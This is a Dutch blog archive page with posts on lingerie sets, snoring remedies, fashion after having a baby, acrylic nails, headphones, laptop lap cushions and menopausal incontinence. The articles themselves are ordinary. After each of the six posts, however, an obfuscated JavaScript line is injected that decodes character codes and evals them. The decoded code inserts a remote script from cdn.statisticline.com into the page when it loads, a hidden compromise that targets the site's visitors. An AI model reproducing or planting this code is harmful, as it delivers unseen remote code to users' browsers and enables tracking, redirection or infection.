Maand: maart 2021

3 lingerie sets met bijpassende hoge kousen

Draag je graag een bijpassende lingerie set? Ik ook! Niets geeft me een beter gevoel wanneer ik een ‘complete look’ draag, en soms, als ik het gevoel wil hebben dat ik echt mijn best heb gedaan (en hoewel niemand het zal zien), zal ik zelfs mijn kleur coördineren met de onderkleding met wat ik er bovenop draag.

Maar er is één niveau van matchy-matchy dat ik nog moet bereiken: een lingerieset met bijpassende hoge kousen. Ik bedoel niet alleen kleur gecoördineerd, ik bedoel matching. Dezelfde kant, dezelfde print… een echte lingerie set van top tot teen met jarretels. Klinkt dit aantrekkelijk genoeg?

Dan is deze blogpost iets voor jou. Ik heb lingeriesetjes verzameld die verkrijgbaar zijn met bijpassende kousen, plus nog een met bijpassende hold-ups. Ze zijn perfect, of je nu op zoek bent naar een bijzondere gelegenheid of een boudoir-shoot-ensemble, of je houdt gewoon net zoveel van een gecoördineerde look als ik. Kijk maar eens naar wat deze merken nog meer te bieden hebben, aangezien er nogal wat meer van dergelijke sets hebben die ik niet heb meegeleverd.

Oh, en als je op zoek bent naar iets in deze richting, maar niet van kousen houdt, raad ik je aan om te Googlen naar unieke been kousenband-sets. Veel van deze zoekresultaten in Google hebben bijpassende bh-sets verkrijgbaar. 

De luxe string van Christine le Duc – Serie Ambra 

Een luxe string passend bij de prachtige bustier Ambra. Je bent niet compleet zonder deze string als bijpassend onderkleding. Aan de voorkant met delicaat, Italiaans eyelash kant, rond je heupen en billen elastisch kant met verleidelijke bekjes, die je billen extra charmant in scene zetten. Een zwarte lange kousen set als bijpassend sexy look maakt deze serie Ambra helemaal af. De Ambra serie is een seizoensproduct van Christine le Duc en snel uitverkocht. 

De luxe kanten string Loreana met bijpassende zwarte kousen

De luxe kanten string Loreana verdient terecht het kenmerk luxe. Heerlijk en mooi Italiaans kant omhult je heupen en billen. De zwarte hoge kousen is de finishing touch voor een luxe lingerie set. Voor een extra zwoele avond met een womanizer en een nieuwe set is de nacht voor jou helemaal compleet. De Brazilian snit geeft je billen extra mooie aandacht door al die mooie kanten bekjes. Dé perfecte match bij de BH Loreana!

De Manuka van Christine le Duc met kanten snit

Deze zwarte string geeft een prikkeling aan ieders zintuigen. De fijnheid van de stoffen en de sensuele snit maken dit model een onmisbare aanvulling op het kanten jarretel korset Manuka. Maak de string schoon met de hand en beter gebruik je geen droger, op deze manier houd je de kwaliteit van de kanten stof hoog. Ook is deze set goed te combineren met bijpassende hoge kousen in de kleur zwart of wit.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

De beste en slechtste tips tegen snurken

De beste en slechtste tips tegen snurken

En word van alles geschreven over snurken in media en online. Begrijpelijk als je beseft dat er zo’n vier miljoen snurkers zijn in Nederland en dat snurken ongeveer zo luid kan zijn als de gemiddelde stofzuiger. Dat is vervelend voor de mensen om de snurker heen maar ook voor de snurker zelf is snurken niet wenselijk. Er wordt veel onderzoek gedaan naar snurken, maar toch doen er soms rare snurkremedies de rondte. Vandaag de beste en de grappigste tips tegen snurken.

Antisnurk beugel

Het meest effectieve hulpmiddel tegen snurken is een antisnurk beugel. Dit komt omdat dit echt gebaseerd is op de oorzaak van snurken. Een snurkgeluid wordt namelijk veroorzaakt doordat spieren verslappen wanneer je slaapt. Hierdoor kan je tong iets meer achter in de keel zakken en word de luchtweg vernauwd. Net als bij een ballon wordt er een geluid geproduceerd wanneer er lucht door een smalle gang wordt geblazen. Een antisnurk beugel, gaat over het bovengebit heen en duwt hiermee de onderkaak iets naar voor. Daardoor komt er meer ruimte vrij in de keel en blijft de luchtweg vrij zodat er geen snurkgeluid kan ontstaan.

Neusspreiders

Een neusspreider is een hulpmiddel wat bestaat uit twee buisjes die in de neus geplaatst kunnen worden. Ook hierdoor worden de luchtwegen meer geopend en vrijgehouden wat de kans op snurken kan verkleinen. Dit hulpmiddel werkt niet bij iedereen, maar sommige mensen vinden dit wel prettiger dan een bitje in de mond.

Ananasplant

Na dit lijstje van effectieve hulpmiddelen klinkt deze optie nog leuker. Er wordt wel eens beweerd dat een ananasplant kan helpen tegen snurken. Deze plant wordt soms zelfs de antisnurkplant genoemd. Maar als je kijkt naar de oorzaak van snurken wordt al gauw duidelijk dat een plant hier niet tegen kan helpen. Een plant kan wel de lucht in de slaapkamer zuiveren door verse zuurstof aan te maken en het kan je slaapkamer zeker opleuken. Je mag dus gerust een leuke ananasplant in de slaapkamer zetten ter decoratie.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Wie zegt dat een baby killing is voor je fashionstijl?

Wie zegt dat een baby killing is voor je fashionstijl?

Stijlvolle moeders die veranderen in slonzen. Moeders in grijze joggingsbroeken met een vest en een rommelige knot op het hoofd. Dat is het stereotype wat je vaak ziet op tv en in films. Begrijp me niet verkeerd, daar is natuurlijk niks mis mee! Je hebt een nieuwe prioriteit en je moet je ook goed voelen in wat je aan trekt. Als dat een grijs joggingspak is, leef je uit. Maar voor sommige (aanstaande) moeders is dit een nachtmerrie. Maar dat hoeft helemaal niet!

Extra accessoire

‘Moeder outfits’ hebben ook veel voordelen. Zo krijg je er een hoop accessoires bij. Denk maar eens aan een baby draagzak. Deze draagzakken zijn erin enorm veel stijlen, varianten en kleuren, die juist heel leuk bij een outfit kan staan. Daarnaast zijn ze superhandig omdat je een lekker knuffelgevoel krijgt met je baby terwijl je ook je handen vrij hebt voor andere dingen. Superhandig én leuk te stylen. Nog zo’n nieuwe accessoire is een kinderwagen. Mega handig als je veel spullen mee moet nemen. Geen zware tas meer meezeulen. Gooi het lekker onder in de kinderwagen en lekker duwen maar!

Pre-selecteer je outfits

Zodra je een momentje voor jezelf hebt, probeer dan eens wat verschillende outfits te passen en klaar te leggen. Zo kun je even goed testen wat er allemaal lekker zit zodat je niet voor een vervelende verrassing komt te staan als die ene jeans toch nog wat knelt. Pas je kleding en selecteer alvast wat outfits. Deze kun je per outfit klaar leggen en wanneer je dan wat minder tijd hebt, weet je dat je met die outfits comfortabel bent én er stijlvol uitziet.

Doe je haar

Voor een heel nieuw leven zorgen is zwaar werk en kost veel tijd. Maar het is ook belangrijk om soms iets voor jezelf te doen. Als je ervoor zorgt dat dat iets, af en toe je haar mooi stylen is, loop je er mooi weer een paar dagen fris bij.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Acrylnagels laten zetten, hoe gaat dat?

Acrylnagels laten zetten, hoe gaat dat?

Mooie nagels zijn een echte ‘game changer’. Maak een look in één klap samenhangend met een perfecte manicure. Helaas kost het vaak veel tijd om zelf je nagels te lakken. Het moet lang drogen en als je toch je handen te vroeg gebruikt wordt de lak snel lelijk. Zelfs als het is gelukt om stil te zitten tijdens het drogen, valt de lak er snel af. Vaak al binnen een paar dagen of zelfs diezelfde dag al! Misschien heb je daarom wel eens acrylnagels overwogen, maar vraag je je nog af hoe dit in z’n werking gaat.

Het proces

De eerste stap voor het zetten van acrylnagels is een goede voorbereiding van je eigen nagels. Deze worden ontvet, goed schoongemaakt en je nagelriemen worden weggeduwd of weggehaald. Daarna word je eigen nagel voorzichtig wat opgeschuurd zodat er een ruwe ondergrond ontstaat. Daardoor kan de kunstnagel goed aan je eigen nagel hechten. De laatste voorbereidende stap is een primer. Dan komt het acryl om de hoek. De acrylnagel wordt gemaakt door acryl poeder te mengen met acryl liquid. Dit wordt zorgvuldig op je eigen nagel aangebracht met een kwast. Daarna is het tijd om de nagel te modelleren. Een acrylnagel kan in oneindig veel vormen worden gemaakt. De populairste vormen op dit moment zijn ‘almond’ als lange variant en ‘squoval’ als korte variant. Als laatst wordt het acryl uitgehard door het te drogen onder een speciale lamp. Hierna zitten de acrylnagels muurvast op je eigen nagels en blijven deze tot wel vier of vijf weken mooi zitten! Na het harden worden de nagels vaak nog mooi gevijld om de perfecte vorm te krijgen

Zelf doen?

Dat klinkt als een best leuk klusje om zelf te doen toch? Ik zou het je heel erg afraden. Er kan veel fout gaan bij het zelf zetten van acrylnagels en de ergste gevolgen kunnen je nagels flink beschadigen. Door te ruw schuren of het gebruiken van verkeerde producten die je nagels onnodig veel beschadigen.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

De koptelefoon

Ik kom nog uit de tijd dat de walkman werd uitgevonden. Waarschijnlijk niet bij iedereen bekend, maar het was revolutionair om de muziek uit dat kleine doosje te laten komen. Bijzonder was ook dat je een koptelefoon op je hoofd had en je je normaal kon bewegen. Sterker nog het joggen kwam op en daar hoorde dan ook een goed stuk muziek bij. Tegenwoordig kom je ze overal tegen, mensen met een koptelefoon op en helemaal afgesloten van de wereld waarin ze zijn. Je hoort ze dan ook hard praten in de veronderstelling dat ze dat moeten omdat ze denken dat de ander ze dan niet hoort. Of zou het zijn dat ze een beginnende gehoorschade hebben opgelopen. Ik ben geen medicus dus daar laat ik me niet over uit, maar ik heb wel zo mijn bedenkingen. Dit fenomeen in de tijd zie ik ook gebeuren in organisaties waar mensen in het scherm of de koptelefoon kruipen. Alsof dat het enige is dat er bestaat.

Hoe zit dat dan met het ontwikkelen van de relatiekwaliteit

We leven dus in een informatiemaatschappij, waarbij we veel data met elkaar uitwisselen. De vraag is echter of we deze informatie wel gebruiken en als we hem gebruiken we dat wel effectief doen. Tenslotte ongeveer twee derde geschiedt non-verbaal en ruim een derde tonaal. Dus de toon van de boodschap blijft belangrijk.

In het aansturen van een relatie, bijvoorbeeld als je werk wilt maken van contract en leveranciersmanagement is het gesprek belangrijk. Enerzijds wil je opvangen vanuit je organisatie wat er leeft en anderzijds pick je heel veel informatie op vanuit wat je hoort. En met een koptelefoon op zit je in je eigen wereld, je eigen denken en ontvang je weinig van daarbuiten. Beeldsprakelijk kun je ook zeggen dat dat ook zo met allerlei video gesprekken gebeurt, waar je maar al te veel bent afgeleid, je het geluid kunt uitzetten of zelf met je mail bezig kunt terwijl de vergadering doorloopt. Weinig effectief dus als je aan de relatiekwaliteit met je leverancier wilt werken!

Doe je koptelefoon af

Dat kan beter door je koptelefoon af te zetten. De natuur heeft zoveel mooi geluid wat je dan weer kunt oppakken en gebruiken. Zonder je niet af en neem waar wat er is. Dat is de basis en zonder koptelefoon lukt dat beter. Bij Covalis vinden we dat de basis voor onze dienstverlening. Eerst begrijpen door goed waar te nemen en dat pas begrepen worden. Zonder koptelefoon lukt dat beter en geniet van de rust en ruimte die dat geeft.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Een schootkussen helpt werk en hobby te combineren

Een schootkussen helpt werk en hobby te combineren

In het moderne huishouden wordt veelal een laptop gebruikt voor het thuiswerk. Zeker sinds we met z’n allen thuis moesten blijven in verband met het welbekende Covid-19 virus is thuiswerken eerder regel dan uitzondering geworden.
Ook in de toekomst zal meer worden thuisgewerkt.
Je zoekt dan ook middelen om zo comfortabel mogelijk thuis je werk te kunnen doen.
Met de laptop op tafel kom je al een heel eind, maar soms heb je zin om gewoon op de bank nog even email te checken of rustig over een onderwerp na te denken.
Geen probleem, maar na verloop van een kwartiertje krijg je al last van een oncomfortabele houding omdat je je laptop goed vast moet houden. Hij mag tenslotte niet van je schoot afglijden.
Daarnaast is de warmte die de laptop overbrengt op je bovenbenen erg vervelend. Sterker, als je een gevoelige huid hebt kun je last krijgen van warmte uitslag. Tijd voor een schootkussen.

Los het op met een schootkussen

Als je regelmatig met de laptop op schoot op de bank zit dan kun je, zoals boven beschreven, de nodige klachten oplopen. Uiterst onplezierig.
De oplossing is eenvoudig. Schaf een schootkussen aan en je zult geen last meer hebben van de beschreven klachten.
Een schootkussen wordt ook wel laptop kussen genoemd. Omdat het kussen een hardtop bovenkant heeft, meestal mdf met een gladde afwerking, staat een laptop er heel stabiel op. Het zachte kussen aan de onderzijde vormt zich naar je bovenbenen waardoor het geheel vlak en stevig staat. Je zit veel relaxter omdat je de laptop niet meer in evenwicht hoeft te houden. Daarnaast voorkomt het schootkussen de geleiding van warmte van de laptop. Je schoot blijft dus lekker koel. Werken met de laptop op schoot wordt dus veel comfortabeler.

Tel daarbij op dat je een schootkussen ook kunt gebruiken bij het lezen, handwerken, (kruiswoord-) puzzelen, eten met het bord op schoot en nog veel meer dingen, dan begrijp je dat het hebben van een schootkussen geen overbodige luxe is.

Waar koop je een schootkussen?

Een van de grootste aanbieders van schootkussens is de Haarlemse cadeauwinkel Kadogalerie.
In de winkel en de webshop van  Kadogalerie.nl vind je ruim 100 verschillende designs schootkussens. De designs verschillen in kleur en de afbeelding die op de hardtop bovenzijde is geprint. Maak je keuze, al vanaf zo’n 20 euro kun je eigenaar worden van dit handige hulpmiddel.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

De menopauze als oorzaak van urineverlies

Tussen het 45e en 55e levensjaar vindt bij de meeste vrouwen de periode van menopauze, oftewel de periode na de laatste menstruatie, plaats. We noemen dit ook wel de overgang en zoals u -wellicht uit eigen ervaring- weet, kan dit gepaard gaan met diverse klachten. Dit zijn opvliegers, stemmingswisselingen, hoofdpijn maar ook regelmatig urineverlies. Ruim één op de drie vrouwen in de overgang heeft er last van. Bij sommige vrouwen betreft dit slechts enkele druppeltjes, maar bij een derde is het urineverlies van dusdanige aard dat men besluit er hulp voor te zoeken.

De gevolgen van urineverlies voor vrouwen die midden in het leven staan

De gevolgen van urineverlies voor vrouwen in de menopauze blijven niet alleen beperkt tot het praktische vlak. Incontinentie geldt vandaag de dag nog steeds als een taboe. Liever komt men er niet voor uit. Dit leidt er ook toe dat vrouwen zich gaan schamen en bepaalde activiteiten zoals sporten gaan vermijden. Ook voelen vrouwen zich vaak ‘vies’, wat hun zelfbeeld vanzelfsprekend niet ten goede komt. De impact van urineverlies is vaak groot. Zonde, want er kan wel degelijk iets aan gedaan worden.

Soorten urineverlies die tijdens de menopauze kunnen optreden

Incontinentie ziet er niet bij iedereen hetzelfde uit. Er bestaan verschillende vormen, waarbij stressincontinentie en urge-incontinentie vooral voorkomen bij dames in de overgang. Stressincontinentie, ook wel inspanningsincontinentie genoemd, betreft urineverlies dat optreedt bij lichamelijke inspanning. Dit kan bij het hoesten of het niezen zijn, maar ook tijdens het sporten of het tillen van een zwaar voorwerp zijn. Urge-incontinentie wordt ook wel aandrangincontinentie genoemd en betreft een situatie waarin u plotseling sterke aandrang krijgt en deze maar moeilijk het hoofd kunt bieden.

Lage oestrogeenniveaus als oorzaak voor urineverlies

Aan urineverlies in de menopauze liggen diverse oorzaken ten grondslag. Eén daarvan is het tekort aan oestrogeen dat in die periode optreedt. Een verlaagd oestrogeenniveau maakt de plasbuis en de weefsels eromheen slapper, waardoor deze niet meer zo goed kan worden afgesloten. Ook het spierweefsel in de vagina wordt dunner en minder elastisch en de buik- en bekkenbodemspieren worden slapper. Dit betekent dat de baarmoeder een lagere positie in uw buikholte aanneemt en zo nog eens extra op uw blaas kan drukken. Om diezelfde reden komen terugkerende blaasontstekingen bij vrouwen in deze leeftijdscategorie ook frequent voor.

Verslapping van de bekkenbodem

Heeft u een sterke bekkenbodem, dan hoef het tekort aan oestrogeen niet per se tot problemen te leiden. Heeft deze echter aan kracht verloren, dan kan urineverlies wel optreden. De bekkenbodem wordt in de loop van een vrouwenleven bijvoorbeeld flink op de proef gesteld door zwangerschappen en bevallingen. Ook een te hoog lichaamsgewicht heeft een negatief effect op urineverlies, net als het verrichten van zware werkzaamheden. Hoest u langdurig, bijvoorbeeld wegens astma of een ander longprobleem? Ook dit leidt tot verslapping van uw bekkenbodem.

Het gebruik van incontinentiemateriaal

Urineverlies is geen proces dat onlosmakelijk aan het ouder worden is verbonden. Het is daarom dus ook niets wat u zomaar hoeft te accepteren. De eerste negatieve gevolgen van urineverlies kunt u ondervangen door het gebruik van het juiste incontinentiemateriaal van bijvoorbeeld TENA. Incontinentieproducten zijn verkrijgbaar in verschillende soorten -de meeste vrouwen die zich in hun menopauze bevinden, gebruiken inleggers of pants- en absorptieniveaus. In het begin is dit een kwestie van uitproberen, maar de meeste vrouwen ervaren dat ze na een korte tijd vertrouwd zijn met het gebruik hiervan.

Bekkenbodemfysiotherapie

Urineverlies tijdens de menopauze is een probleem dat aangepakt kan worden. Alhoewel incontinentieproducten u tijdelijk helpen uw dagelijks leven zoveel mogelijk te leiden zoals u wenst, vormen ze geen permanente oplossing. Het beste wat u kunt doen, is het trainen van uw bekkenbodem. Ondanks het feit dat er op internet veel oefeningen te vinden zijn, kunt u dit het beste onder begeleiding van een bekkenfysiotherapeut doen. Deze leert u uw bekkenbodemspieren aan te spannen en te ontspannen en deze zo sterker te maken. U krijgt van uw therapeut oefeningen mee die u op elk moment kunt uitvoeren, zowel thuis als buitenshuis.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);